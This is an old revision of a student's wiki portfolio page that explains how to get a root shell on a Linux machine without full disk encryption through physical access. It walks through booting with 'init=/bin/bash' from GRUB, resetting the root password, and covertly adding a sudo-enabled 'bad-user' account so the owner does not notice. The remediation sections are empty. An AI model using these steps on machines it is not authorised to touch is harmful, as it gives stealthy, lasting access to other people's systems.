User Tools

Site Tools


user:nbrimme1:portfolio:break-into-linux

This is an old revision of the document!


Breaking into Linux systems:

Objectives

To explore the various methods of breaking into any Linux system that doesn't use FDE (Full Disk Encryption) through physical access. Also, to examine the procedure of FDE setup and other remediations to prevent this.

Prerequisites

  • Physical access to the target machine
  • ~60 seconds

Procedure

Method 1:

  1. Power on/reboot the target computer
  2. At the grub prompt, press 'e' to edit
  3. While still inside grub, add “init=/bin/bash” to the end of the “kernel” line
  4. Continue booting.

DONE! THAT'S ALL FOLKS! This drops you into a root shell after the target machine finishes booting. From there, we need to remount the root filesystem so we can make changes to it:

mount -o remount,rw /
passwd root

PROTIP: I don't recommend doing this as the next time the real user logs into the system they will notice that their root password has been changed. We need to be super sneaky, secretive, and surreptitious so here's something a little less noticeable:

  1. Simply add another user without modifying the original root password:
    adduser -D -u 1000 bad-user
    passwd bad-user
  2. Also add the newly created user to the sudoers file. This is also not as noticable as changing the actual root password:
    visudo
    bad-user ALL=(ALL) ALL
  3. Reboot the target machine to make the changes persistent:
    reboot

Remediation Methods

Method 1

General Remediation Methods

  • Setting up Full Disk Encryption:
  • Other Remediations:

References

In performing this project, the following resources were referenced:

  • Google: Of course Google was used, it knows everything. No particular page from Google was used, It was mainly used for information about the project (Linked Lists in general): http://www.google.com/; If ya don't know, now ya know, and knowing is half the battle.

Back to my Portfolio

user/nbrimme1/portfolio/break-into-linux.1538169964.txt.gz · Last modified: 2018/09/28 21:26 by nbrimme1